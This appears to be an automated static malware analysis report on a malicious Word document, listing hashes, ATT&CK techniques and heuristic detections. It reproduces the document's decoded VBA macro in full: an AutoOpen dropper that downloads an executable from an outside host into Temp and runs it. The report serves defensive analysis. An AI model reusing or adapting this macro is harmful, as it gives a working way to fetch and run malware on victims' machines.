Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 464bc5b078496c00…

MALICIOUS

Office (OLE)

368.0 KB Created: 2014-12-26 20:05:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: 4fd069f82cf7b190e5d6c1adb5cf6c7a SHA-1: d1332ecfea072935ea4952b6e77e673a0ac72c77 SHA-256: 464bc5b078496c00ccde3e6cdcd3312592dd12b03636461903dda512c061afd3
478 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document that uses a lure to trick the user into enabling macros. The AutoOpen macro then uses the URLDownloadToFile API to download a second-stage executable from 'http://getcsgoskins.com/setup/setup.exe' and executes it using WScript.Shell. This indicates a typical dropper functionality.

Heuristics 14

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        CreateObject("WScript.Shell").Run WHERE
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        CreateObject("WScript.Shell").Run WHERE
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        WHERE = Environ("Temp") & "\" & "saveasname.exe"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://getcsgoskins.com/setup/setup.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: 0ba70f2315511d1d66611f5fd59606c369c4f2f6f0161002c8c60e6529bc768d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
        (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
    
Sub AutoOpen()
    URL = "http://getcsgoskins.com/setup/setup.exe"
    WHERE = Environ("Temp") & "\" & "saveasname.exe"
    DownloadStatus = URLDownloadToFile(0, URL, WHERE, 0, 0)
    CreateObject("WScript.Shell").Run WHERE
End Sub

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